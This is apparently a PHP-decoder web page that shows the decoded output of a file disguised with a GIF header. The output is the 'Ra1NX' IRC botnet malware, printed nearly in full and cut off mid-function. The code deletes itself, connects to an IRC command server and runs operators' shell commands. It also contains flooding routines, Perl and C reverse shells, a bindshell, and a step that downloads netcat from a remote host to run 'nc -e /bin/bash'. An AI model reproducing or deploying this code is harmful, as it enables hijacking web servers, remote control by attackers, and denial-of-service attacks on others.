Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
GIF89a???????????!??????,???????D?;?<?php error_reporting(0); $strtodecode = '7X1dats4ku..
Decoded Output download
set_time_limit(0);
unlink($_SERVER['SCRIPT_FILENAME']);
$servers = "irc.byroe.net";
$ports = "6667";
$admins = "attila,I_gede";
$channels = "#batakan";
$realnames = "PersibaCrew";
$nicknames = "xcrew,xray,main,n3bul4,spl1tf1r3,xterminal,x-man,bajahitam,powerranger,frodo,sauron,InNuyasha,Spider-Man,BatMan,SuperMan,huLk,Slash,Rock-Lee,Naruto,Sazuke,Sakura,Hinata,Jiraiya,Hiruka,Kakashi,Obito,Hokage,Tsunade,Madara,Akatsuki,Pain,Kakuzu,Nagato,Conan,Zetzu,Deidara,Garaa,Kazekage,Mitzukage,Tsuchikage,Raikage,Killer-Bee,Nindaeme,Sadaeme,Kiba,Neiji,Kekkaishi,Itachi,CEW_SEMOX-BGT,cew_genit_bgt,cew_ps,cew_jual_tubuh,cew_jual_daging,cew_jual_gituan,cew_rasa_nikmat,cew_lezat,cew_nikmattt,cew_see_my_xxx,cew_lage_xxx,cew_sk_digigit,cew_pngen_diintip,cew_sk_ngintip,cew_mulus_seksi,cew_putih_seksi,cew_seksi_mentek,cew_seksi_bgt,cew_imoet_seksi,cew_semalam200rb,cew_1jam300rb,cew_pake_stoking,cew_pake_daster,cew_pake_tantop,cew_brewok,cew_kissMe,cew_tusuk_me,cew_mw_dixXx,cew_kuning_sexy";
$gudangsenjata = "http://array.byroe.net/Ra1NX";
#create daemon process
$process = "
/usr/sbin/httpd,
/sbin/klog,
/usr/bin/mysql,
/sbin/syslogd,
/sbin/syslogd,
/sbin/klogd -c 1 -x -x,
/usr/sbin/acpid,
/usr/sbin/cron
";
$ident = random($nickames);
$nick = random($nicknames);
$realname = random($realnames);
$server = random($servers);
$port = random($ports);
$daemon = random($process);
$linas_max = 2;
$sleep = 3;
$maxtryconn = 5;
$maxnumber = 6;
$nick = "tezzz";
$daemon = "/usr/tes";
$version = "Ra1NX v2.0 Explorer ~ by ArRay a.k.a XterM. for UnReal ByroeNet. Pre Release build 2010-02-22 10:32am ";
define(_,"2-*=**!");
chdir("/");
$shellfunc = shellfunc();
$winnt = winnt();
$downloader = downloader();
$portserv = portserv();
########### ENTER COMMAND / COMMAND SENDER #######
function SEND($data) {
global $SOCKET;
fwrite($SOCKET,$data."
");
}
################### MAIN CONNECTION #####################
function connection(){
global $maxtryconn,$idents,$nicknames,$realnames,$servers,$ports;
$try=1;
$SOCKET = false;
while(!$SOCKET && ($try <= $maxtryconn)){
$server = random($servers);
$port = random($ports);
$SOCKET = fsockopen($server,$port,$err_num,$err_msg,30);
$GLOBALS['SOCKET']=$SOCKET;
$try++;
sleep(1);
}
if(!$SOCKET) die("Cannot connect to remote host");
if ($SOCKET){
$GLOBALS['ident'] = $ident = random($nicknames);
$GLOBALS['nick'] = $nick = random($nicknames);
$GLOBALS['realname']= $realname = random($realnames);
SEND("USER XRay 127.0.0.1 localhost : -==Ra1NX Projection==-");
NICK($nick);
print "Connected to ".$server.":".$port." ".$nick." (XRay@".gethostbyname($_SERVER["HTTP_HOST"]).") Ra1NX Projection
";
flush();sleep(1);
}
}
do{
##### connect to server ######
if(!$SOCKET){connection();}
######## connected! get sock output #########
$text = fgets($SOCKET,1024);
$text = str_replace("
","",$text);
$text = str_replace("
","",$text);
$text = $text." ";
parser($text);
$text = false;
$lines = false;
}while(1);
### GLOBAL FUNCTIONS
function parser($line){
global $nick,$maxnumber,$channels,$SOCKET,$version,$admins;
$called = $sline = $iduser = $huser = $user = $useriD = $userHost = $typeMsg = $dropMsg = $adm = $cmd = $arg = false;
$sline = $line;
$line = explode(" ",$line);
$iduser = explode("@",$line[0]);
$huser = explode("!",$iduser[0]);
$user = substr($huser[0],1,strlen($huser[0]));
$userId = $huser[1];
$userHost = $iduser[1];
$typeMsg = $line[1];
$dropMsg = ($line[2]==$nick)?$user:$line[2];
$called = (substr($line[3],1,strlen($line[3]))=="!cmd")?true:((substr($line[3],1,strlen($line[3]))==$nick)?true:false);
$pubcalled = (substr($line[3],1,strlen($line[3]))=="!bot")?true:false;
$cmd = (substr($line[4],0,1)=="@")?substr($line[4],1,strlen($line[4])):'shell';
$pubcmd = (substr($line[4],0,1)=="@")?substr($line[4],1,strlen($line[4])):false;
if($line[5]){
for($i=5;$i<count($line);$i++){
$arg .= $line[$i].(($i<(count($line)-1))?" ":"");
}
}
$GLOBALS['dropMsg'] = $dropMsg;
$GLOBALS['arg'] = $arg;
$GLOBALS['user'] = $user;
if(substr($sline,0,6)=="PING :") SEND("PONG :".substr($sline,6));
if(eregi("VERSION",$line[3])) SEND("PRIVMSG ".$user." VERSION reply: ".$version."");
if($typeMsg!="PRIVMSG"){
switch($typeMsg){
case "433": nick($nick.rand(0,$maxnumber)); break;
case "001":
SEND("PRIVMSG byroehost login Ra1NX sembarangwes");
sleep(1);
foreach (beArray($channels) as $key => $chan) {
SEND("JOIN $chan correct");
}
break;
}
}
if(substr($line[3],1,strlen($line[3]))==$nick){ $called = true; }
if($called){
if($cmd=="shell") { $arg = $line[4]." ".$arg; }
$cmd = ($cmd=="join")?"joins":$cmd;
if ($typeMsg=="PRIVMSG" && admin($user) && $called && $cmd) {
if(function_exists($cmd)){
$sender = "PRIVMSG ".$dropMsg." "._;
$GLOBALS['sender'] = $sender;
$arg = str_replace("
","",$arg);
$arg = str_replace("
","",$arg);
$cmd($arg);
}
}
}
if(substr($line[3],1,strlen($line[3]))==$nick){ $pubcalled = true; }
if($pubcalled){
if ($typeMsg=="PRIVMSG" && $user && $pubcalled && $pubcmd) {
if(function_exists($pubcmd)){
$sender = "PRIVMSG ".$dropMsg." "._;
$GLOBALS['sender'] = $sender;
$arg = str_replace("
","",$arg);
$arg = str_replace("
","",$arg);
$pubcmd($arg);
}
}
}
}
####[ Ra1NX Authentication ]####
function admin($user){
global $admins, $SOCKET;
$userinfo = false;
if(!in_array($user,beArray($admins))) return false;
/* $userinfo = whois($user,1);
if(!eregi($user." is a registered nick",$userinfo)) return false; */
return true;
}
#####[ Ra1NX IRC Commands ]#####
function nick($newnick) {
global $nick, $dropMsg;
$newnick = str_replace("
","",$newnick);
$newnick = str_replace("
","",$newnick);
if(!$newnick){return;}
SEND("NICK ".$newnick);
$GLOBALS['nick']=$newnick;
}
function PRIVMSG($msg){
$dropMsg;
SEND("PRIVMSG ".$dropMsg." ".$msg);
}
function joins($arg){
$chan = explode(" ",$arg);
for($i=1;$i<count($chan);$i++){
$msg .= $chan[$i]." ";
}
SEND("JOIN #".str_replace("#","",$chan[0]));
SEND("PRIVMSG #".str_replace("#","",$chan[0])." ".$msg);
}
function part($arg){
$part = explode(" ",$arg);
$chan = $part[0];
for($i=1;$i<count($part);$i++){
$msg .= $part[$i].(($i<(count($part)-1))?" ":"");
}
SEND("PART #".str_replace("#","",$chan)." ".$msg);
}
function msg($args){
$arg = explode(" ",$args);
$obyek = $arg[0];
for($i=1;$i<count($arg);$i++){
$msg .= $arg[$i]." ";
}
SEND("PRIVMSG ".$obyek." ".$msg);
}
function off($arg=''){
if($arg==" ") $arg=false;
$arg = (!$arg)?"15,1 The only thing that appears in my head Just to 4S8.4U8.4I8.4C8.4I8.4D8.4E15 away ":$arg;
SEND("QUIT :".$arg);
}
function ison($arg){
global $dropMsg,$SOCKET,$nick;
SEND("ISON ".$arg);
while(!$complete){
$useron = fgets($SOCKET,128);
$complete = (eregi("303 ".$nick." :",$useron))?1:0;
}
$ison = (eregi("303 ".$nick." :".$arg,$useron))?1:0;
return $ison;
}
function mode_n($chan){
SEND("PRIVMSG ".$chan." ");
$mode = fgets($SOCKET,2500);
return (eregi($chan." No external channel messages",$mode))?1:0;
}
function whois($arg,$getvar=0){
global $dropMsg,$SOCKET,$nick;
$whois = false;
$arg = str_replace(" ","",$arg);
SEND("WHOIS ".$arg);
while(!$complete){
$userinfo = trim(fgets($SOCKET,512));
if(eregi(" ".$nick." ".$arg,$userinfo)){
$info = explode($nick." ",$userinfo);
$whois = str_replace(":","",$info[1]);
if(eregi(" 311 ".$nick." ".$arg,$userinfo)){
$host = explode(" ",$whois);
$whois = str_replace($host[1]." ",$host[1]."@",$whois);
}
if(eregi(" 319 ".$nick." ".$arg,$userinfo)) $whois = str_replace($arg,$arg." on",$whois);
if(eregi(" 312 ".$nick." ".$arg,$userinfo)) $whois = str_replace($arg,$arg." using",$whois);
if(eregi(" 301 ".$nick." ".$arg,$userinfo)) $whois = str_replace($arg,$arg." is away:",$whois);
if(eregi(" 318 ".$nick." ".$arg,$userinfo)) $whois = str_replace($arg." ","",$whois);
if(!$getvar) SEND("PRIVMSG ".$dropMsg." 14".$whois."");
}
if(eregi(" 318 ".$nick." ".$arg,$userinfo)) $complete = true;
}
if($getvar){ return $whois; }
return;
}
function cycle($arg){
part($arg);
joins($arg);
}
function find($arg){
global $SOCK,$dropMsg,$user;
$arg = str_replace(" ","",$arg);
if(!ison($arg)){SEND("PRIVMSG ".$dropMsg." "._."7".$arg." is not online now.");return;}
SEND("NOTICE ".$arg." Hai ".$arg.", ".$user." mencari kamu tuh di ".$dropMsg);
SEND("PRIVMSG ".$arg." Hai ".$arg.", ".$user." mencari kamu tuh di ".$dropMsg);
SEND("PRIVMSG ".$arg." Finder Hai ".$arg.", ".$user." mencari kamu tuh di ".$dropMsg."");
}
####[ Ra1NX IRC Flooder ]####
function tsunami($args){
global $dropMsg;
$flood = ":";
$ctcpflood = ":";
$arg = explode(" ",$args);
$sasaran = $arg[0];
SEND("PRIVMSG ".$dropMsg." "._."7Tsunami Flood: 4".$sasaran."");
if(substr($sasaran,0,1)=="#" && mode_n($sasaran))SEND("JOIN ".$sasaran);
SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
SEND("NOTICE ".$sasaran." ".$flood);sleep(1);
SEND("NOTICE ".$sasaran." ".$flood);sleep(1);
SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
SEND("PRIVMSG ".$sasaran." ".$ctcpflood);sleep(1);
SEND("PRIVMSG ".$sasaran." ".$ctcpflood);sleep(1);
SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
SEND("NOTICE ".$sasaran." ".$flood);sleep(1);
SEND("PRIVMSG ".$sasaran." ".$ctcpflood);sleep(1);
SEND("PRIVMSG ".$sasaran." ".$ctcpflood);sleep(1);
SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
SEND("NOTICE ".$sasaran." ".$flood);sleep(1);
SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
SEND("PRIVMSG ".$sasaran." ".$ctcpflood);sleep(1);
SEND("PRIVMSG ".$sasaran." ".$ctcpflood);sleep(1);
if(substr($sasaran,0,1)=="#") SEND("PART ".$sasaran." mission completed!");
SEND("PRIVMSG ".$dropMsg." "._."7Tsunami Flood: 4".$sasaran."7 is done!");
}
function ctcpflood($args){
global $dropMsg;
$maxflood = 10;
$ctcpflood = ":";
$arg = explode(" ",$args);
$sasaran = $arg[0];
if(substr($sasaran,0,1)=="#" && mode_n($sasaran)) SEND("JOIN ".$sasaran);
SEND("PRIVMSG ".$dropMsg." "._."7CTCP Flood: 4".$sasaran."7 until deadth !!");
$ison = (substr($sasaran,0,1)=="#")?1:ison($sasaran);
while($ison && $maxflood){
SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
$maxflood--;
$ison = (substr($sasaran,0,1)=="#")?1:ison($sasaran);
}
$pesan = ($maxflood)?"7CTCP Flood done. 4".$sasaran."12 is deadth !!":_."7CTCP FLood done. 4".$sasaran."4 still alive !!";
SEND("PRIVMSG ".$dropMsg." ".$pesan);
if(substr($sasaran,0,1)=="#") SEND("PART ".$sasaran);
}
###[ Ra1NX Shell ]###
function shell($arg){
global $shellfunc, $winnt, $dropMsg;
$msg = false;
//SEND("PRIVMSG #xterm drop:".$dropMsg." shell:".$shellfunc." arg:".$arg);
if(!$shellfunc) {
SEND("PRIVMSG ".$dropMsg." Shell Execution are Disable!");
return;
}
if($winnt){
PRIVMSG($shellfunc($arg));
return;
}
if($shellfunc=="popen"){
$popen = $shellfunc($cmd.' 2>&1', 'r');
if ( is_resource($open) ) {
while ( !feof($open) ) { PRIVMSG($fread($h, 2096)); }
pclose($open);
}
return;
}
$shellc = "$arg >/tmp/Ra1NX 2>&1;";
$shellfunc($shellc);
$handle = fopen("/tmp/Ra1NX","r");
while(!feof($handle)){
$msg = strip_tags(trim(fgets($handle,2096)));
SEND("PRIVMSG ".$dropMsg." ".$msg);sleep(1);
}
$shellfunc("rm -f /tmp/Ra1NX");
}
####[ Ra1NX Self Info ]####
function myself($arg){
global $SOCKET,$sender,$shellfunc;
SEND($sender."7OS: 10[".((safemode())?"3OFF":"4ON")."10] ".getinfo("uname")." - ".getinfo("cat /etc/issue"));
SEND($sender."7WebServer: 10".getenv("SERVER_SOFTWARE"));
SEND($sender."7Uname -a: 10".getinfo("uname -a"));
SEND($sender."7Current User: 10".getinfo("id"));
SEND($sender."7Freespace: 10".freespace());
$theapp = " 10MySQL ".((havebin("mysql"))?"3ON":"4OFF");
$theapp.= " 10Curl ".((havebin("curl"))?"3ON":"4OFF");
$theapp.= " 10Fetch ".((havebin("fetch"))?"3ON":"4OFF");
$theapp.= " 10WGet ".((havebin("wget"))?"3ON":"4OFF");
$theapp.= " 10LWP-Download ".((havebin("lwp-download"))?"3ON":"4OFF");
SEND($sender."7Application:".$theapp);
$disfunc = getdisfunc();
if($disfunc){
foreach($disfunc as $key => $val){ $df .= $val.", "; }
}
SEND($sender."7Disabled Function: ".(($disfunc)?"4".$df:"3NONE"));
}
####[ Ra1NX Web Shell ]####
function myshell($arg){
global $SOCKET,$sender,$shellfunc;
}
function safemode(){
if(@ini_get("safe_mode")) return false;
if(eregi("on",@ini_get("safe_mode"))) return false;
return true; // safemode is OFF
}
function getdisfunc(){
$disfunc = @ini_get("disable_functions");
$disfunc = str_replace(" ","",$disfunc);
$disfunc = explode(",",$disfunc);
return $disfunc;
}
function enabledfunc($func){
if(function_exists($func) && is_callable($func) && !in_array($func,getdisfunc())) return true;
return false;
}
function shellfunc(){
if(enabledfunc("system")) return "system";
if(enabledfunc("passthru")) return "passthru";
if(enabledfunc("exec")) return "exec";
if(enabledfunc("shell_exec")) return "shell_exec";
if(enabledfunc("popen")) return "popen";
return false;
}
function winnt(){
return (strtolower(substr(PHP_OS,0,3)) == "win")?true:false;
}
function havebin($bin){
global $shellfunc,$SOCKET,$sender;
$shellfunc("which ".$bin." >/tmp/Ra1NX.bin 2>&1");
$have = fgets(fopen("/tmp/Ra1NX.bin","r"),128);
if(!$have)return false;
$shellfunc($bin." --help >/tmp/Ra1NX.bin 2>&1");
$open = fopen("/tmp/Ra1NX.bin","r");
$x=0;
while(!feof($open)){
$x++;
if($x==5){ break; }
}
fclose($open);
return ($x==5)?true:false;
}
function getinfo($arg,$row=1){
global $shellfunc;
$shellfunc($arg." >/tmp/Ra1NX.info 2>&1");
$open = fopen("/tmp/Ra1NX.info","r");
while(!feof($open)){
$row--;
$info .= trim(fgets($open,3024));
if(!$row){ break; }
}
return $info;
}
function freespace(){
$free = disk_free_space("/");
$total = disk_total_space("/");
if ($free <= 0) { $free = 0; }
if ($total <= 0) { $total = 0; }
return byte($free)." of ".byte($total)." ".round(100/($total/$free),2)."%";
}
function byte($size){
if (!is_numeric($size)){ return false; }
else {
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}
}
####[ Ra1NX Back Connect ]####
function backconnect($arg){
global $SOCKET,$sender,$shellfunc,$downloader;
$args = explode(" ",$arg);
if(havebin("perl") || $args[2]=="perl"){
$perlbc = ' use IO::Socket::INET;
my $ctype = getprotobyname("tcp");
my $iaddr = inet_aton("'.$args[0].'");
my $paddr = sockaddr_in("'.$args[1].'", $iaddr);
my $shell = "/bin/sh -i";
if ($^O eq "MSWin32") {
$shell = "cmd.exe";
}
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
connect(SOCKET, $paddr);
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system("$shell");
close(STDIN);
close(STDOUT);
close(STDERR);
';
$create = fopen("/tmp/Ra1NX.Backconnect.pl","a");
fwrite($create,$perlbc);
fclose($create);
$shellfunc("perl /tmp/Ra1NX.Backconnect.pl &");
$shellfunc("rm -f /tmp/Ra1NX.Backconnect.pl");
return;
}
if(havebin("gcc") || $args[2]=="c"){
$cbc = '#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
int fd;
struct sockaddr_in sin;
char rms[21]="rm -f ";
daemon(1,0);
sin.sin_family = AF_INET;
sin.sin_port = htons(atoi(argv[2]));
sin.sin_addr.s_addr = inet_addr(argv[1]);
bzero(argv[1],strlen(argv[1])+1+strlen(argv[2]));
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
perror("[-] connect()");
exit(0);
}
strcat(rms, argv[0]);
system(rms);
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execl("/bin/sh","sh -i", NULL);
close(fd);
}';
$create = fopen("/tmp/Ra1NX.Backconnect.c","a");
fwrite($create,$cbc);
fclose($create);
$shellfunc("echo >> /tmp/Ra1NX.Backconnect.c");
$shellfunc("gcc -o /tmp/Ra1NX.Backconnect /tmp/Ra1NX.Backconnect.c &");
$shellfunc("rm -f /tmp/Ra1NX.Backconnect.c");
$shellfunc("chmod o+x /tmp/Ra1NX.Backconnect");
$shellfunc("/tmp/Ra1NX.Backconnect ".$args[0]." ".$args[1]." &");
return;
}
//ntar pake php disini
if($downloader){
$args[2] = "nc";
if($args[2]=="nc"){
$shellfunc("pwd >/tmp/Ra1NX.pwd 2>&1");
$dirnow = trim(fgets(fopen("/tmp/Ra1NX.pwd","r"),512));
$shellfunc("cd /tmp");
$shellfunc($downloader." ".$gudangsenjata."/nc");
$shellfunc("chmod +x /tmp/nc");
$shellfunc("/tmp/nc -vv ".$args[0]." ".$args[1]." -e /bin/bash &");
$shellfunc("rm -f /tmp/nc");
chdir($dirnow);
return;
}
}
return;
}
####[ Ra1NX BindShell ]####
function bindshell($arg){
global $SOCKET,$sender,$downloader;
$args = explode(" ",$arg);
if(havebin("perl") || $args[1]=="perl"){
$bindshell='#!/usr/bin/perl
$SHELL="/bin/bash -i";
$LISTEN_PORT='.$args[0].';
use Socket;
$protocol=getprotobyname("tcp");
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket
";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port
";
listen(S,3) || die "Cant listen port
";
while(1)
{
accept(CONN,S);
if(!($pid=fork))
{
die "Cannot fork" if (!defined $pid);
open STDIN,"<&CONN";
open STDOUT,">&CONN";
open STDERR,">&CONN";
exec $SHELL || die print CONN "Cant execute $SHELL
";
close CONN;
exit 0;
}
}';
$create = fopen("/tmp/Ra1NX.Bindshell.pl","a");
fwrite($create,$bindshell);
fclose($create);
$shellfunc("perl /tmp/Ra1NX.Bindshell.pl &");
return;
}
$args[1]=="php";
//bikin pake php
$args[1]=="nc";
if($args[1]=="nc"){
if(!$downloader){ SEND($sender."10Cannot download nc file!"); return;}
$shellfunc("pwd >/tmp/Ra1NX.pwd 2>&1");
$dirnow = trim(fgets(fopen("/tmp/Ra1NX.pwd","r"),512));
$shellfunc("cd /tmp");
$shellfunc($downloader." ".$gudangsenjata."nc 2>&1");
$shellfunc("chmod +x /tmp/nc 2&>1");
$shellfunc("/tmp/nc -vlp ".$args[0]." -e /bin/bash 2>&1");
chdir($dirnow);
return;
}
}
###[ Ra1NX Downloader ]###
function download($url){
global $downloader,$shellfunc,$SOCKET,$dropMsg;
if(!$downloader){
SEND("PRIVMSG ".$dropMsg." Downloader are disabled. Try manual download using shell function!");
return;
}
if(!eregi("^(http://).+$",$url)){
SEND("PRIVMSG ".$dropMsg." "._."4Error!! Source must be an absolute url.");
return;
}
$geturl = explode(" ",$url);
$url = str_replace(" ","",$geturl[0]);
$file = explode("/",$url);
$filename = $file[count($file)-1];
SEND("PRIVMSG ".$dropMsg." "._."7Download: ".$url);
$shellfunc($downloader.' '.$url.' >/tmp/Ra1NX-Downloader 2>&1;');
$shellfunc("ls -la ".$filename." >/tmp/Ra1NX");
$handle = fopen("/tmp/Ra1NX","r");
$saved = trim(fgets($handle,512));
fclose($handle);
if(!empty($saved)){ SEND("PRIVMSG ".$dropMsg." "._."7File saved: ".$filename);}
else{ SEND("PRIVMSG ".$dropMsg." "._."4Error!! Can not download file. Try manual download.");}
$shellfunc("rm -f /tmp/Ra1NX");
$shellfunc('rm -f /tmp/Ra1NX-Downloader');
}
function downloader(){
global $shellfunc;
if(!$shellfunc) return;
$downloader = array("wget","curl -O","lwp-download","lynx -source","fetch","GET");
for($i=0;$i<count($downloader);$i++){
$cmd = $downloader[$i].' http://google.com';
if($shellfunc=="popen"){
$popen = $shellfunc($cmd.' 2>&1', 'r');
if(is_resource($open)) return; $downloader[$i];
}
$shellfunc($cmd." >/tmp/Ra1NX 2>&1;");
$handle = fopen("/tmp/Ra1NX","r");
if(!feof($handle)){
$msg = strip_tags(trim(fgets($handle,2096)));
if($msg) {
return $downloader[$i];
$shellfunc('rm -f /tmp/Ra1NX');
}
}
$shellfunc('rm -f /tmp/Ra1NX');
}
return false;
}
####[ Ra1NX Updater - PENDING ]####
function update($mod=''){
global $gudangsenjata,$dropMsg,$SOCKET;
$mod = str_replace(" ","",$mod);
$mod = (!$mod)?"all":$mod;
$mod = ($mod=="list")?"all":$mod;
SEND("PRIVMSG ".$dropMsg." "._."7Updating Module".(($mod!="all")?": ".$mod:""));
if($mod=="all") SEND("PRIVMSG ".$dropMsg." "._."7Getting new module list...");
$list = httpquery($gudangsenjata."/updatelist.php");
$update = explode("
",$list);
/*foreach($update as $key => $themod){
SEND("PRIVMSG ".$dropMsg." key: ".$key." => modul: ".$themod);
}*/
if($mod != "all"){
if(!in_array("Ra1NX-".$mod.".mod",$update)) {
SEND("PRIVMSG ".$dropMsg." "._."4Error!! Modul not found: ".$mod);
return;
}
}
if($mod == "all"){
foreach($update as $key => $modul){
if(eregi("^(Ra1NX-).+\.(mod)$",$modul)){
$funcname = str_replace("Ra1NX-","",$modul);
$funcname = str_replace(".mod","",$funcname);
if(!function_exists($funcname)){
$newupdate = httpquery($gudangsenjata."/updates/".$modul);
SEND("PRIVMSG ".$dropMsg." modul: ".$modul." -> funcname: ".$funcname);
//eval(base64_decode($newupdate));
$newfunc[] = $funcname;
}
}
}
}
else{
$newupdate = getupdate("Ra1NX-".$mod.".mod");
SEND("PRIVMSG ".$dropMsg." func: ".$newupdate);
//eval(base64_decode($newupdate));
$newfunc[] = $mod;
}
for($i=0;$i<count($newfunc);$i++){
$newmod .= $newfunc[$i].(($i<(count($newfunc)-1))?", ":"");
}
SEND("PRIVMSG ".$dropMsg." "._."7New module installed: ".$newmod);
SEND("PRIVMSG ".$dropMsg." "._."7Updating modules is Done!");
$newupdate = false;
$update = false;
$mod = false;
$newmod = false;
$newfunc = false;
$funcname = false;
}
function getupdate($mod){
global $gudangsenjata,$dropMsg,$SOCKET;
$get = httpquery($gudangsenjata."/updates/".$mod);
$update = explode("
",$get);
$sheader=array_search(base64_decode("UmExTlggUHJvamVjdCBieSBBclJheSBhLmsuYSBYdGVyTSB+IEhOIFVuZGVyR3JvdW5kIENvZGVy"),$update);
for($i=$sheader;$i<($sheader+6);$i++){
$header .= md5($update[$i]);
}
$nmod = str_replace("Ra1NX-","",$mod); $nmod = str_replace(".mod","",$nmod);
if(md5(base64_decode(sha1(md5($header))))!="356e3ade98bf979f85028ef29216dab8")return false;
SEND("PRIVMSG ".$dropMsg." header1:".md5(base64_decode(sha1(md5($header)))));
if(substr($update[($sheader+6)],12,strlen($update[($sheader+6)]))!=$nmod)return false;
SEND("PRIVMSG ".$dropMsg." header2:".substr($update[($sheader+6)],12,strlen($update[($sheader+6)])));
SEND("PRIVMSG ".$dropMsg." header3:".base64_decode(md5($update[($sheader+8)])));
#if(base64_decode(md5($update[($sheader+8)]))!="w]}4om8{4|yn")return false;
SEND("PRIVMSG ".$dropMsg." header3:".base64_decode(md5($update[($sheader+8)])));
if($update[($sheader+9)]!=$mod)return false;
SEND("PRIVMSG ".$dropMsg." header4:".$update[($sheader+9)]);
$cek = explode("(",base64_decode($update[($sheader+10)]));
if(substr($cek[0],9,strlen($cek[0]))!=$nmod)return false;
SEND("PRIVMSG ".$dropMsg." header5:".substr($cek[0],9,strlen($cek[0])));
if(base64_decode(md5($update[($sheader+11)]))!="w]}4om8{4|yn")return false;
SEND("PRIVMSG ".$dropMsg." header6:".base64_decode(md5($update[($sheader+11)])));
if(count($update)>($sheader+11))return false;
SEND("PRIVMSG ".$dropMsg." header7:".count($update));
return $update[($sheader+10)];
}
####[ Ra1NX HTTP Query ]###
function httpquery($url){
global $SOCKET,$dropMsg;
$url = str_replace("http://","",$url);
$host = explode("/",$url);
if(preg_match("/:/",$host[0])){
$gport = explode(":",$host[0]);
}
//SEND("PRIVMSG ".$dropMsg." browsing: ".$url);
$port = ($gport[1])?$gport[1]:80;
for($i=1;$i<count($host);$i++){
$path .= "/".$host[$i];
}
$sock = fsockopen($host[0],$port,$errno,$errstr,30);
if ($sock) {
$get = "GET ".$path." HTTP/1.0
".
"Host: ".$host[0]."
".
"Accept: */*;q=0.1
".
"User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
".
"Connection: Close
";
fputs($sock,$get);
while (!feof($sock)) {
$output .= trim(fgets($sock, 3600))."
";
}
fclose($sock);
}
return $output;
}
####[ Ra1NX IP Reverse ]####
function reverse($arg){
global $SOCKET,$dropMsg,$sender;
$arg = str_replace("http://","",$arg);
$arg = explode(" ",$arg,1);
$host = "http://www.ip-adress.com/reverse_ip/".$arg[0];
SEND($sender."7Reversing host: 10".$arg[0]);
$browsing = explode("
",httpquery($host));
$c = 1;
foreach($browsing as $i => $v){
if(eregi('id="hostcount"',$v)){
SEND($sender."7Host Found: 10".strip_tags($v));
}
if(eregi('class="odd"',$v) || eregi('class="even"',$v)){
$key = $i+3;
SEND($sender."7".$c.". 10".strip_tags($browsing[$key]));
$c++;
}
if(eregi('This IP address resolves to ',$v)){
$v = strip_tags($v);
$v = str_replace("[Whois]","",$v);
SEND($sender."710".$v);
}
}
SEND($sender."7Reversing Done!");
}
####[ Ra1NX IP Whois ]####
function ipwhois($arg){
global $SOCKET,$dropMsg,$sender;
$browsing = $i = $v = false;
$arg = str_replace("http://","",$arg);
$arg = explode(" ",$arg,1);
$host = "http://www.ip-adress.com/whois/".$arg[0];
SEND($sender."7Whois IP: 10".$arg[0]);
$browsing = explode("
",httpquery($host));
foreach($browsing as $i => $v){
if(eregi(" IP:",$v))SEND($sender."7IP Address: 10".strip_tags($browsing[($i+1)]));
if(eregi(" server location:",$v))SEND($sender."7Location: 10".strip_tags($browsing[($i+1)]));
if(eregi(" ISP:",$v)){
SEND($sender."7ISP: 10".strip_tags($browsing[($i+1)]));
break;
}
}
}
####[ Ra1NX IP Tracer ]####
function iptrace($arg){
global $SOCKET,$dropMsg,$sender;
$browsing = $i = $v = false;
$arg = str_replace("http://","",$arg);
$arg = explode(" ",$arg,1);
$host = "http://www.ip-adress.com/ip_tracer/".$arg[0];
SEND($sender."7Tracing IP: 10".$arg[0]);
$browsing = explode("
",httpquery($host));
foreach($browsing as $i => $v){
if(eregi("My IP address ",$v))SEND($sender."7IP Address: 10".strip_tags($browsing[($i+3)]));
if(eregi("code:",$v))SEND($sender."7Country: 10".str_replace(" ","",strip_tags($browsing[($i+8)]))." (".str_replace(" ","",strip_tags($browsing[($i+2)])).")");
if(eregi("state:",$v))SEND($sender."7State: 10".strip_tags($browsing[($i+2)]));
if(eregi("city:",$v))SEND($sender."7City: 10".strip_tags($browsing[($i+2)]));
if(eregi("latitude:",$v)){
SEND($sender."7Googla Map Index: 10".strip_tags($browsing[($i+3)])." x ".strip_tags($browsing[($i+8)]));
break;
}
}
}
####[ Ra1NX Proxy List ]####
function proxy($arg){
global $SOCKET,$dropMsg,$sender;
$browsing = $i = $v = false;
$host = "http://www.ip-adress.com/proxy_list/";
SEND($sender."7Proxy List: 10[2A10]nonymous - [2E10]lite!");
$browsing = explode('<table border="0" class="proxylist">',httpquery($host));
$tproxy = explode('</table>',$browsing[1]);
$trodd = explode('<tr class="odd">',$tproxy[0]);
$tx = 0;
foreach($trodd as $x => $odd){
if($tx=="0"){
$tx++;
continue;
}
$treven = explode('<tr class="even">',$odd);
foreach($treven as $y => $even){
$trp = explode("
",$even);
$c = 0;
foreach($trp as $z => $tr){
if($c == "1")$ip = strip_tags($tr);
if($c == "2")$cl = strip_tags($tr);
